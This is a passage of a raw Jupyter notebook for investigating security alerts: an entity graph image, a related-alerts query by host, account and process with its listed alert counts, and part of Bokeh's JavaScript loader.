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\n",
      "text/plain": [
       "<Figure size 1080x1080 with 1 Axes>"
      ]
     },
     "metadata": {
      "needs_background": "light"
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Draw the graph using Networkx/Matplotlib\n",
    "%matplotlib inline\n",
    "alertentity_graph = mas.create_alert_graph(security_alert)\n",
    "nbdisp.draw_alert_entity_graph(alertentity_graph, width=15)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='related_alerts'></a>[Contents](#toc)\n",
    "# Related Alerts\n",
    "For a subset of entities in the alert we can search for any alerts that have that entity in common. Currently this query looks for alerts that share the same Host, Account or Process and lists them below. \n",
    "**Notes:**\n",
    "- Some alert types do not include all of these entity types.\n",
    "- The original alert will be included in the \"Related Alerts\" set if it occurs within the query time boundary set below.\n",
    "\n",
    "The query time boundaries default to a longer period than when searching for the alert. You can extend the time boundary searched before or after the alert time. If the widget doesn't support the time boundary that you want you can change the max_before and max_after parameters in the call to QueryTime below to extend the possible time boundaries."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 38,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "e8a1dc24e70f457d95d49dbd6eb817f0",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "HTML(value='<h4>Set query time boundaries</h4>')"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "926502782b0c4f62b39b57cc045ba1cf",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='22:04:16',…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "4deea8c0a2c84a2998ab7beacf937105",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# set the origin time to the time of our alert\n",
    "query_times = mas.QueryTime(units='day', origin_time=security_alert.TimeGenerated, \n",
    "                            max_before=28, max_after=1, before=5)\n",
    "query_times.display()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 40,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Found 8 different alert types related to this host ('msticalertswin1')\n",
      "    Detected potentially suspicious use of Telegram tool, Count of alerts: 2\n",
      "    Detected the disabling of critical services, Count of alerts: 2\n",
      "    Digital currency mining related behavior detected, Count of alerts: 2\n",
      "    Potential attempt to bypass AppLocker detected, Count of alerts: 4\n",
      "    Security incident detected, Count of alerts: 2\n",
      "    Security incident with shared process detected, Count of alerts: 3\n",
      "    Suspicious system process executed, Count of alerts: 2\n",
      "    Suspiciously named process detected, Count of alerts: 2\n",
      "Found 13 different alert types related to this account ('msticalertswin1\\msticadmin')\n",
      "    An history file has been cleared, Count of alerts: 12\n",
      "    Azure Security Center test alert (not a threat), Count of alerts: 13\n",
      "    Detected potentially suspicious use of Telegram tool, Count of alerts: 2\n",
      "    Detected the disabling of critical services, Count of alerts: 2\n",
      "    Digital currency mining related behavior detected, Count of alerts: 2\n",
      "    New SSH key added, Count of alerts: 13\n",
      "    Possible credential access tool detected, Count of alerts: 11\n",
      "    Possible suspicious scheduling tasks access detected, Count of alerts: 1\n",
      "    Potential attempt to bypass AppLocker detected, Count of alerts: 3\n",
      "    Suspicious Download Then Run Activity, Count of alerts: 13\n",
      "    Suspicious binary detected, Count of alerts: 13\n",
      "    Suspicious system process executed, Count of alerts: 2\n",
      "    Suspiciously named process detected, Count of alerts: 2\n",
      "Found 2 different alert types related to this process ('c:\\w!ndows\\system32\\suchost.exe')\n",
      "    Digital currency mining related behavior detected, Count of alerts: 2\n",
      "    Suspiciously named process detected, Count of alerts: 2\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.pydata.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1177\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "\n",
       "(function(root) {\n",
       "  function now() {\n",
       "    return new Date();\n",
       "  }\n",
       "\n",
       "  var force = true;\n",
       "\n",
       "  if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n",
       "    root._bokeh_onload_callbacks = [];\n",
       "    root._bokeh_is_loading = undefined;\n",
       "  }\n",
       "\n",
       "  var JS_MIME_TYPE = 'application/javascript';\n",
       "  var HTML_MIME_TYPE = 'text/html';\n",
       "  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n",
       "  var CLASS_NAME = 'output_bokeh rendered_html';\n",
       "\n",
       "  /**\n",
       "   * Render data to the DOM node\n",
       "   */\n",
       "  function render(props, node) {\n",
       "    var script = document.createElement(\"script\");\n",
       "    node.appendChild(script);\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when an output is cleared or removed\n",
       "   */\n",
       "  function handleClearOutput(event, handle) {\n",
       "    var cell = handle.cell;\n",
       "\n",
       "    var id = cell.output_area._bokeh_element_id;\n",
       "    var server_id = cell.output_area._bokeh_server_id;\n",
       "    // Clean up Bokeh references\n",
       "    if (id != null && id in Bokeh.index) {\n",
       "      Bokeh.index[id].model.document.clear();\n",
       "      delete Bokeh.index[id];\n",
       "    }\n",
       "\n",
       "    if (server_id !== undefined) {\n",
       "      // Clean up Bokeh references\n",
       "      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n",
       "      cell.notebook.kernel.execute(cmd, {\n",
       "        iopub: {\n",
       "          output: function(msg) {\n",
       "            var id = msg.content.text.trim();\n",
       "            if (id in Bokeh.index) {\n",
       "              Bokeh.index[id].model.document.clear();\n",
       "              delete Bokeh.index[id];\n",
       "            }\n",
       "          }\n",
       "        }\n",
       "      });\n",
       "      // Destroy server and session\n",
       "      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n",
       "      cell.notebook.kernel.execute(cmd);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when a new output is added\n",
       "   */\n",
       "  function handleAddOutput(event, handle) {\n",
       "    var output_area = handle.output_area;\n",
       "    var output = handle.output;\n",
       "\n",
       "    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n",
       "    if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n",
       "      return\n",
       "    }\n",
       "\n",
       "    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n",
       "\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n",
       "      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n",
       "      // store reference to embed id on output_area\n",
       "      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n",
       "    }\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n",
       "      var bk_div = document.createElement(\"div\");\n",
       "      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n",
       "      var script_attrs = bk_div.children[0].attributes;\n",
       "      for (var i = 0; i < script_attrs.length; i++) {\n",
       "        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n",
       "      }\n",
       "      // store reference to server id on output_area\n",
       "      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n",
       "    }\n",
       "  }\n",
       "\n",
       "  function register_renderer(events, OutputArea) {\n",
       "\n",
       "    function append_mime(data, metadata, element) {\n",
       "      // create a DOM node to render to\n",
       "      var toinsert = this.create_output_subarea(\n",
       "        metadata,\n",
       "        CLASS_NAME,\n",
       "        EXEC_MIME_TYPE\n",
       "      );\n",
       "      this.keyboard_manager.register_events(toinsert);\n",
       "      // Render to node\n",
       "      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n",
       "      render(props, toinsert[toinsert.length - 1]);\n",
       "      element.append(toinsert);\n",
       "      return toinsert\n",
       "    }\n",
       "\n",
       "    /* Handle when an output is cleared or removed */\n",
       "    events.on('clear_output.CodeCell', handleClearOutput);\n",
       "    events.on('delete.Cell', handleClearOutput);\n",
       "\n",
       "    /* Handle when a new output is added */\n",
       "    events.on('output_added.OutputArea', handleAddOutput);\n",
       "\n",
       "    /**\n",
       "     * Register the mime type and append_mime function with output_area\n",
       "     */\n",
       "    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n",
       "      /* Is output safe? */\n",
       "      safe: true,\n",
       "      /* Index of renderer in `output_area.display_order` */\n",
       "      index: 0\n",
       "    });\n",
       "  }\n",
       "\n",
       "  // register the mime type if in Jupyter Notebook environment and previously unregistered\n",
       "  if (root.Jupyter !== undefined) {\n",
       "    var events = require('base/js/events');\n",
       "    var OutputArea = require('notebook/js/outputarea').OutputArea;\n",
       "\n",
       "    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n",
       "      register_renderer(events, OutputArea);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  \n",
       "  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n",
       "    root._bokeh_timeout = Date.now() + 5000;\n",
       "    root._bokeh_failed_load = false;\n",
       "  }\n",
       "\n",
       "  var NB_LOAD_WARNING = {'data': {'text/html':\n",
       "     \"<div style='background-color: #fdd'>\\n\"+\n",
       "     \"<p>\\n\"+\n",
       "     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n",
       "     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n",
       "     \"</p>\\n\"+\n",
       "     \"<ul>\\n\"+\n",
       "     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n",
